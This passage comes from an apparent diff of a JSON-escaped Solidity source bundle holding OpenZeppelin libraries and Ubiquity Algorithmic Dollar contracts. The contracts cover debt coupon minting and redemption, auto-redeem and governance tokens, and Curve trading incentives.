Requirements:\n *\n * - the contract must not be paused.\n */\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {\n super._beforeTokenTransfer(from, to, amount);\n\n require(!paused(), \"ERC20Pausable: token transfer while paused\");\n }\n}\n" - }, - "@openzeppelin/contracts/security/Pausable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract Pausable is Context {\n /**\n * @dev Emitted when the pause is triggered by `account`.\n */\n event Paused(address account);\n\n /**\n * @dev Emitted when the pause is lifted by `account`.\n */\n event Unpaused(address account);\n\n bool private _paused;\n\n /**\n * @dev Initializes the contract in unpaused state.\n */\n constructor () {\n _paused = false;\n }\n\n /**\n * @dev Returns true if the contract is paused, and false otherwise.\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is not paused.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n modifier whenNotPaused() {\n require(!paused(), \"Pausable: paused\");\n _;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is paused.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n modifier whenPaused() {\n require(paused(), \"Pausable: not paused\");\n _;\n }\n\n /**\n * @dev Triggers stopped state.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n /**\n * @dev Returns to normal state.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n}\n" - }, - "@openzeppelin/contracts/utils/structs/EnumerableSet.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n * // Add the library methods\n * using EnumerableSet for EnumerableSet.AddressSet;\n *\n * // Declare a set state variable\n * EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n */\nlibrary EnumerableSet {\n // To implement this library for multiple types with as little code\n // repetition as possible, we write it in terms of a generic Set type with\n // bytes32 values.\n // The Set implementation uses private functions, and user-facing\n // implementations (such as AddressSet) are just wrappers around the\n // underlying Set.\n // This means that we can only create new EnumerableSets for types that fit\n // in bytes32.\n\n struct Set {\n // Storage of set values\n bytes32[] _values;\n\n // Position of the value in the `values` array, plus 1 because index 0\n // means a value is not in the set.\n mapping (bytes32 => uint256) _indexes;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n // The value is stored at length-1, but we add 1 to all indexes\n // and use 0 as a sentinel value\n set._indexes[value] = set._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n // We read and store the value's index to prevent multiple reads from the same storage slot\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) { // Equivalent to contains(set, value)\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n // the array, and then remove the last element (sometimes called as 'swap and pop').\n // This modifies the order of the array, as noted in {at}.\n\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._values.length - 1;\n\n // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs\n // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.\n\n bytes32 lastvalue = set._values[lastIndex];\n\n // Move the last value to the index where the value to delete is\n set._values[toDeleteIndex] = lastvalue;\n // Update the index for the moved value\n set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex\n\n // Delete the slot where the moved value was stored\n set._values.pop();\n\n // Delete the index for the deleted slot\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\n require(set._values.length > index, \"EnumerableSet: index out of bounds\");\n return set._values[index];\n }\n\n // Bytes32Set\n\n struct Bytes32Set {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n // AddressSet\n\n struct AddressSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(AddressSet storage set, address value) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(AddressSet storage set, address value) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(AddressSet storage set, address value) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n\n // UintSet\n\n struct UintSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n}\n" - }, - "contracts/interfaces/utils/ICollectableDust.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\ninterface ICollectableDust {\n event DustSent(address _to, address token, uint256 amount);\n event ProtocolTokenAdded(address _token);\n event ProtocolTokenRemoved(address _token);\n\n function addProtocolToken(address _token) external;\n\n function removeProtocolToken(address _token) external;\n\n function sendDust(\n address _to,\n address _token,\n uint256 _amount\n ) external;\n}\n" - }, - "contracts/DebtCouponManager.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\";\nimport \"./interfaces/IDebtRedemption.sol\";\nimport \"./interfaces/IUARForDollarsCalculator.sol\";\nimport \"./interfaces/ICouponsForDollarsCalculator.sol\";\nimport \"./interfaces/IDollarMintingCalculator.sol\";\nimport \"./interfaces/IExcessDollarsDistributor.sol\";\nimport \"./TWAPOracle.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"./UbiquityAlgorithmicDollar.sol\";\nimport \"./UbiquityAutoRedeem.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./DebtCoupon.sol\";\n\n/// @title A basic debt issuing and redemption mechanism for coupon holders\n/// @notice Allows users to burn their uAD in exchange for coupons\n/// redeemable in the future\n/// @notice Allows users to redeem individual debt coupons or batch redeem\n/// coupons on a first-come first-serve basis\ncontract DebtCouponManager is ERC165, IERC1155Receiver {\n using SafeERC20 for IERC20Ubiquity;\n UbiquityAlgorithmicDollarManager public manager;\n\n //the amount of dollars we minted this cycle, so we can calculate delta.\n // should be reset to 0 when cycle ends\n uint256 public dollarsMintedThisCycle;\n bool public debtCycle;\n uint256 public blockHeightDebt;\n uint256 public couponLengthBlocks;\n uint256 public expiredCouponConvertionRate = 2;\n event ExpiredCouponConvertionRateChanged(\n uint256 newRate,\n uint256 previousRate\n );\n\n event CouponLengthChanged(\n uint256 newCouponLengthBlocks,\n uint256 previousCouponLengthBlocks\n );\n\n modifier onlyCouponManager() {\n require(\n manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender),\n \"Caller is not a coupon manager\"\n );\n _;\n }\n\n /// @param _manager the address of the manager contract so we can fetch variables\n /// @param _couponLengthBlocks how many blocks coupons last. can't be changed\n /// once set (unless migrated)\n constructor(address _manager, uint256 _couponLengthBlocks) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n couponLengthBlocks = _couponLengthBlocks;\n }\n\n function setExpiredCouponConvertionRate(uint256 rate)\n external\n onlyCouponManager\n {\n emit ExpiredCouponConvertionRateChanged(\n rate,\n expiredCouponConvertionRate\n );\n expiredCouponConvertionRate = rate;\n }\n\n function setCouponLength(uint256 _couponLengthBlocks)\n external\n onlyCouponManager\n {\n emit CouponLengthChanged(_couponLengthBlocks, couponLengthBlocks);\n couponLengthBlocks = _couponLengthBlocks;\n }\n\n /// @dev called when a user wants to burn UAD for debt coupon.\n /// should only be called when oracle is below a dollar\n /// @param amount the amount of dollars to exchange for coupons\n function exchangeDollarsForDebtCoupons(uint256 amount)\n external\n returns (uint256)\n {\n uint256 twapPrice = _getTwapPrice();\n\n require(twapPrice < 1 ether, \"Price must be below 1 to mint coupons\");\n\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n debtCoupon.updateTotalDebt();\n\n //we are in a down cycle so reset the cycle counter\n // and set the blockHeight Debt\n if (!debtCycle) {\n debtCycle = true;\n blockHeightDebt = block.number;\n dollarsMintedThisCycle = 0;\n }\n\n ICouponsForDollarsCalculator couponCalculator =\n ICouponsForDollarsCalculator(manager.couponCalculatorAddress());\n uint256 couponsToMint = couponCalculator.getCouponAmount(amount);\n\n // we burn user's dollars.\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom(\n msg.sender,\n amount\n );\n\n uint256 expiryBlockNumber = block.number + (couponLengthBlocks);\n debtCoupon.mintCoupons(msg.sender, couponsToMint, expiryBlockNumber);\n\n //give the caller the block number of the minted nft\n return expiryBlockNumber;\n }\n\n /// @dev called when a user wants to burn UAD for uAR.\n /// should only be called when oracle is below a dollar\n /// @param amount the amount of dollars to exchange for uAR\n /// @return amount of auto redeem tokens minted\n function exchangeDollarsForUAR(uint256 amount) external returns (uint256) {\n uint256 twapPrice = _getTwapPrice();\n\n require(twapPrice < 1 ether, \"Price must be below 1 to mint uAR\");\n\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n debtCoupon.updateTotalDebt();\n\n //we are in a down cycle so reset the cycle counter\n // and set the blockHeight Debt\n if (!debtCycle) {\n debtCycle = true;\n blockHeightDebt = block.number;\n dollarsMintedThisCycle = 0;\n }\n\n IUARForDollarsCalculator uarCalculator =\n IUARForDollarsCalculator(manager.uarCalculatorAddress());\n uint256 uarToMint = uarCalculator.getUARAmount(amount, blockHeightDebt);\n\n // we burn user's dollars.\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom(\n msg.sender,\n amount\n );\n // mint uAR\n UbiquityAutoRedeem autoRedeemToken =\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\n autoRedeemToken.mint(msg.sender, uarToMint);\n\n //give minted uAR amount\n return uarToMint;\n }\n\n /// @dev uses the current coupons for dollars calculation to get coupons for dollars\n /// @param amount the amount of dollars to exchange for coupons\n function getCouponsReturnedForDollars(uint256 amount)\n external\n view\n returns (uint256)\n {\n ICouponsForDollarsCalculator couponCalculator =\n ICouponsForDollarsCalculator(manager.couponCalculatorAddress());\n return couponCalculator.getCouponAmount(amount);\n }\n\n /// @dev uses the current uAR for dollars calculation to get uAR for dollars\n /// @param amount the amount of dollars to exchange for uAR\n function getUARReturnedForDollars(uint256 amount)\n external\n view\n returns (uint256)\n {\n IUARForDollarsCalculator uarCalculator =\n IUARForDollarsCalculator(manager.uarCalculatorAddress());\n return uarCalculator.getUARAmount(amount, blockHeightDebt);\n }\n\n /// @dev should be called by this contract only when getting coupons to be burnt\n function onERC1155Received(\n address operator,\n address,\n uint256,\n uint256,\n bytes calldata\n ) external view override returns (bytes4) {\n if (manager.hasRole(manager.COUPON_MANAGER_ROLE(), operator)) {\n //allow the transfer since it originated from this contract\n return\n bytes4(\n keccak256(\n \"onERC1155Received(address,address,uint256,uint256,bytes)\"\n )\n );\n } else {\n //reject the transfer\n return \"\";\n }\n }\n\n /// @dev this method is never called by the contract so if called,\n /// it was called by someone else -> revert.\n function onERC1155BatchReceived(\n address,\n address,\n uint256[] calldata,\n uint256[] calldata,\n bytes calldata\n ) external pure override returns (bytes4) {\n //reject the transfer\n return \"\";\n }\n\n /// @dev let debt holder burn expired coupons for UGOV. Doesn't make TWAP > 1 check.\n /// @param id the timestamp of the coupon\n /// @param amount the amount of coupons to redeem\n /// @return uGovAmount amount of UGOV tokens minted to debt holder\n function burnExpiredCouponsForUGOV(uint256 id, uint256 amount)\n public\n returns (uint256 uGovAmount)\n {\n // Check whether debt coupon hasn't expired --> Burn debt coupons.\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n\n require(id <= block.number, \"Coupon has not expired\");\n require(\n debtCoupon.balanceOf(msg.sender, id) >= amount,\n \"User not enough coupons\"\n );\n\n debtCoupon.burnCoupons(msg.sender, amount, id);\n\n // Mint UGOV tokens to this contract. Transfer UGOV tokens to msg.sender i.e. debt holder\n IERC20Ubiquity uGOVToken =\n IERC20Ubiquity(manager.governanceTokenAddress());\n uGovAmount = amount / expiredCouponConvertionRate;\n uGOVToken.mint(msg.sender, uGovAmount);\n }\n\n // TODO should we leave it ?\n /// @dev Lets debt holder burn coupons for auto redemption. Doesn't make TWAP > 1 check.\n /// @param id the timestamp of the coupon\n /// @param amount the amount of coupons to redeem\n /// @return amount of auto redeem pool tokens (i.e. LP tokens) minted to debt holder\n function burnCouponsForAutoRedemption(uint256 id, uint256 amount)\n public\n returns (uint256)\n {\n // Check whether debt coupon hasn't expired --> Burn debt coupons.\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n\n require(id > block.timestamp, \"Coupon has expired\");\n require(\n debtCoupon.balanceOf(msg.sender, id) >= amount,\n \"User not enough coupons\"\n );\n\n debtCoupon.burnCoupons(msg.sender, amount, id);\n\n // Mint LP tokens to this contract. Transfer LP tokens to msg.sender i.e. debt holder\n UbiquityAutoRedeem autoRedeemToken =\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\n autoRedeemToken.mint(address(this), amount);\n autoRedeemToken.transfer(msg.sender, amount);\n\n return autoRedeemToken.balanceOf(msg.sender);\n }\n\n /// @dev Exchange auto redeem pool token for uAD tokens.\n /// @param amount Amount of uAR tokens to burn in exchange for uAD tokens.\n /// @return amount of unredeemed uAR\n function burnAutoRedeemTokensForDollars(uint256 amount)\n public\n returns (uint256)\n {\n uint256 twapPrice = _getTwapPrice();\n require(twapPrice > 1 ether, \"Price must be above 1 to auto redeem\");\n if (debtCycle) {\n debtCycle = false;\n }\n UbiquityAutoRedeem autoRedeemToken =\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\n require(\n autoRedeemToken.balanceOf(msg.sender) >= amount,\n \"User doesn't have enough auto redeem pool tokens.\"\n );\n\n UbiquityAlgorithmicDollar uAD =\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress());\n uint256 maxRedeemableUAR = uAD.balanceOf(address(this));\n\n if (maxRedeemableUAR <= 0) {\n mintClaimableDollars();\n maxRedeemableUAR = uAD.balanceOf(address(this));\n }\n\n uint256 uarToRedeem = amount;\n if (amount > maxRedeemableUAR) {\n uarToRedeem = maxRedeemableUAR;\n }\n autoRedeemToken.burnFrom(msg.sender, uarToRedeem);\n uAD.transfer(msg.sender, uarToRedeem);\n\n return amount - uarToRedeem;\n }\n\n /// @param id the block number of the coupon\n /// @param amount the amount of coupons to redeem\n /// @return amount of unredeemed coupons\n function redeemCoupons(uint256 id, uint256 amount)\n public\n returns (uint256)\n {\n uint256 twapPrice = _getTwapPrice();\n\n require(twapPrice > 1 ether, \"Price must be above 1 to redeem coupons\");\n if (debtCycle) {\n debtCycle = false;\n }\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n\n require(id > block.number, \"Coupon has expired\");\n require(\n debtCoupon.balanceOf(msg.sender, id) >= amount,\n \"User not enough coupons\"\n );\n\n mintClaimableDollars();\n UbiquityAlgorithmicDollar uAD =\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress());\n UbiquityAutoRedeem autoRedeemToken =\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\n // uAR have a priority on uDEBT coupon holder\n require(\n autoRedeemToken.totalSupply() <= uAD.balanceOf(address(this)),\n \"There aren't enough uAD to redeem currently\"\n );\n uint256 maxRedeemableCoupons =\n uAD.balanceOf(address(this)) - autoRedeemToken.totalSupply();\n uint256 couponsToRedeem = amount;\n\n if (amount > maxRedeemableCoupons) {\n couponsToRedeem = maxRedeemableCoupons;\n }\n require(\n uAD.balanceOf(address(this)) > 0,\n \"There aren't any uAD to redeem currently\"\n );\n\n // debtCouponManager must be an operator to transfer on behalf of msg.sender\n debtCoupon.burnCoupons(msg.sender, couponsToRedeem, id);\n uAD.transfer(msg.sender, couponsToRedeem);\n\n return amount - (couponsToRedeem);\n }\n\n function mintClaimableDollars() public {\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n debtCoupon.updateTotalDebt();\n\n // uint256 twapPrice = _getTwapPrice(); //unused variable. Why here?\n uint256 totalMintableDollars =\n IDollarMintingCalculator(manager.dollarMintingCalculatorAddress())\n .getDollarsToMint();\n uint256 dollarsToMint = totalMintableDollars - (dollarsMintedThisCycle);\n //update the dollars for this cycle\n dollarsMintedThisCycle = totalMintableDollars;\n\n UbiquityAlgorithmicDollar uAD =\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress());\n // uAD dollars should be minted to address(this)\n uAD.mint(address(this), dollarsToMint);\n UbiquityAutoRedeem autoRedeemToken =\n UbiquityAutoRedeem(manager.autoRedeemTokenAddress());\n\n uint256 currentRedeemableBalance = uAD.balanceOf(address(this));\n uint256 totalOutstandingDebt =\n debtCoupon.getTotalOutstandingDebt() +\n autoRedeemToken.totalSupply();\n\n if (currentRedeemableBalance > totalOutstandingDebt) {\n uint256 excessDollars =\n currentRedeemableBalance - (totalOutstandingDebt);\n\n IExcessDollarsDistributor dollarsDistributor =\n IExcessDollarsDistributor(\n manager.getExcessDollarsDistributor(address(this))\n );\n //transfer excess dollars to the distributor and tell it to distribute\n uAD.transfer(\n manager.getExcessDollarsDistributor(address(this)),\n excessDollars\n );\n dollarsDistributor.distributeDollars();\n }\n }\n\n function _getTwapPrice() internal returns (uint256) {\n TWAPOracle(manager.twapOracleAddress()).update();\n return\n TWAPOracle(manager.twapOracleAddress()).consult(\n manager.dollarTokenAddress()\n );\n }\n}\n" - }, - "contracts/interfaces/IDebtRedemption.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\";\n\n/// @title A debt redemption mechanism for coupon holders\n/// @notice Allows users to redeem individual debt coupons or batch redeem coupons\n/// @dev Implements IERC1155Receiver so that it can deal with redemptions\ninterface IDebtCouponManager is IERC1155Receiver {\n function redeemCoupons(\n address from,\n uint256 id,\n uint256 amount\n ) external;\n\n function exchangeDollarsForDebtCoupons(uint256 amount) external;\n}\n" - }, - "contracts/interfaces/ICouponsForDollarsCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\";\n\n/// @title A mechanism for calculating coupons received for a dollar amount burnt\ninterface ICouponsForDollarsCalculator {\n function getCouponAmount(uint256 dollarsToBurn)\n external\n view\n returns (uint256);\n}\n" - }, - "contracts/interfaces/IDollarMintingCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\";\n\n/// @title A mechanism for calculating dollars to be minted\ninterface IDollarMintingCalculator {\n function getDollarsToMint() external view returns (uint256);\n}\n" - }, - "contracts/UbiquityAutoRedeem.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./ERC20Ubiquity.sol\";\n\ncontract UbiquityAutoRedeem is ERC20Ubiquity {\n constructor(address _manager)\n ERC20Ubiquity(_manager, \"Ubiquity Auto Redeem\", \"uAR\")\n {} // solhint-disable-line no-empty-blocks\n\n /// @notice raise capital in form of uAR (only redeemable when uAD > 1$)\n /// @param amount the amount to be minted\n /// @dev you should be minter to call that function\n function raiseCapital(uint256 amount) external {\n address treasuryAddress = manager.treasuryAddress();\n mint(treasuryAddress, amount);\n }\n}\n" - }, - "contracts/UbiquityGovernance.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./ERC20Ubiquity.sol\";\n\ncontract UbiquityGovernance is ERC20Ubiquity {\n constructor(address _manager) ERC20Ubiquity(_manager, \"Ubiquity\", \"UBQ\") {} // solhint-disable-line no-empty-blocks, max-line-length\n}\n" - }, - "contracts/interfaces/IUbiquityGovernance.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./IERC20Ubiquity.sol\";\n\n/// @title uGOV governance token interface\n/// @author Ubiquity Algorithmic Dollar\n// solhint-disable-next-line no-empty-blocks\ninterface IUbiquityGovernance is IERC20Ubiquity {\n\n}\n" - }, - "contracts/CurveUADIncentive.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/IUbiquityGovernance.sol\";\nimport \"./interfaces/IIncentive.sol\";\nimport \"./TWAPOracle.sol\";\nimport \"./UbiquityAlgorithmicDollar.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\n\n/// @title Uniswap trading incentive contract\n/// @author uAD Protocol\n/// @dev incentives\ncontract CurveUADIncentive is IIncentive {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n UbiquityAlgorithmicDollarManager public manager;\n bool public isSellPenaltyOn = true;\n bool public isBuyIncentiveOn = true;\n bytes16 private immutable _one = (uint256(1 ether)).fromUInt();\n mapping(address => bool) private _exempt;\n event ExemptAddressUpdate(address indexed _account, bool _isExempt);\n modifier onlyAdmin() {\n require(\n manager.hasRole(manager.INCENTIVE_MANAGER_ROLE(), msg.sender),\n \"CurveIncentive: not admin\"\n );\n _;\n }\n modifier onlyUAD() {\n require(\n msg.sender == manager.dollarTokenAddress(),\n \"CurveIncentive: Caller is not uAD\"\n );\n _;\n }\n\n /// @notice CurveIncentive constructor\n /// @param _manager uAD Manager\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n function incentivize(\n address sender,\n address receiver,\n address,\n uint256 amountIn\n ) external override onlyUAD {\n require(sender != receiver, \"CurveIncentive: cannot send self\");\n\n if (sender == manager.stableSwapMetaPoolAddress()) {\n _incentivizeBuy(receiver, amountIn);\n }\n\n if (receiver == manager.stableSwapMetaPoolAddress()) {\n _incentivizeSell(sender, amountIn);\n }\n }\n\n /// @notice set an address to be exempted from Uniswap trading incentives\n /// @param account the address to update\n /// @param isExempt a flag for whether to exempt or unexempt\n function setExemptAddress(address account, bool isExempt)\n external\n onlyAdmin\n {\n _exempt[account] = isExempt;\n emit ExemptAddressUpdate(account, isExempt);\n }\n\n /// @notice switch the sell penalty\n function switchSellPenalty() external onlyAdmin {\n isSellPenaltyOn = !isSellPenaltyOn;\n }\n\n /// @notice switch the buy incentive\n function switchBuyIncentive() external onlyAdmin {\n isBuyIncentiveOn = !isBuyIncentiveOn;\n }\n\n /// @notice returns true if account is marked as exempt\n function isExemptAddress(address account) public view returns (bool) {\n return _exempt[account];\n }\n\n function _incentivizeBuy(address target, uint256 amountIn) internal {\n _updateOracle();\n\n if (isExemptAddress(target) || !isBuyIncentiveOn) {\n return;\n }\n\n uint256 incentive = _getPercentDeviationFromUnderPeg(amountIn);\n /* swapping 3CRV (or underlying) for uAD (aka buying uAD) will mint x% of uGOV.\n Where x = (1- TWAP_Price) * amountIn.\n E.g. uAD = 0.8, you buy 1000 uAD, you get (1-0.8)*1000 = 200 uGOV */\n\n if (incentive != 0) {\n // this means CurveIncentive should be a minter of UGOV\n IUbiquityGovernance(manager.governanceTokenAddress()).mint(\n target,\n incentive\n );\n }\n }\n\n /// @notice returns the percentage of deviation from the peg multiplied by amount\n // when uAD is <1$\n function _getPercentDeviationFromUnderPeg(uint256 amount)\n internal\n returns (uint256)\n {\n _updateOracle();\n uint256 curPrice = _getTWAPPrice();\n if (curPrice >= 1 ether) {\n return 0;\n }\n\n uint256 res =\n _one\n .sub(curPrice.fromUInt())\n .mul((amount.fromUInt().div(_one)))\n .toUInt();\n // returns (1- TWAP_Price) * amount.\n return res;\n }\n\n function _incentivizeSell(address target, uint256 amount) internal {\n _updateOracle();\n if (isExemptAddress(target) || !isSellPenaltyOn) {\n return;\n }\n\n /*\n WARNING\n From curve doc :Tokens that take a fee upon a successful transfer may cause the curve pool\n to break or act in unexpected ways.\n fei does it differently because they can make sure only one contract has the ability to sell\n uAD and they control the whole liquidity pool on uniswap.\n here to avoid problem with the curve pool we execute the transfer as specified and then we\n take the penalty so if penalty + amount > balance then we revert\n swapping uAD for 3CRV (or underlying) (aka selling uAD) will burn x% of uAD\n Where x = (1- TWAP_Price) *100.\n */\n\n uint256 penalty = _getPercentDeviationFromUnderPeg(amount);\n if (penalty != 0) {\n require(penalty < amount, \"Dollar: burn exceeds trade size\");\n\n require(\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress())\n .balanceOf(target) >= penalty + amount,\n \"Dollar: balance too low to get penalized\"\n );\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom(\n target,\n penalty\n ); // burn from the recipient\n }\n }\n\n function _updateOracle() internal {\n TWAPOracle(manager.twapOracleAddress()).update();\n }\n\n function _getTWAPPrice() internal view returns (uint256) {\n return\n TWAPOracle(manager.twapOracleAddress()).consult(\n manager.dollarTokenAddress()\n );\n }\n}\n" - }, - "contracts/DollarMintingCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/IDollarMintingCalculator.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./TWAPOracle.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\n\n/// @title A mock coupon calculator that always returns a constant\ncontract DollarMintingCalculator is IDollarMintingCalculator {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n\n bytes16 private immutable _one = (uint256(1 ether)).fromUInt();\n UbiquityAlgorithmicDollarManager public manager;\n\n /// @param _manager the address of the manager contract so we can fetch variables\n 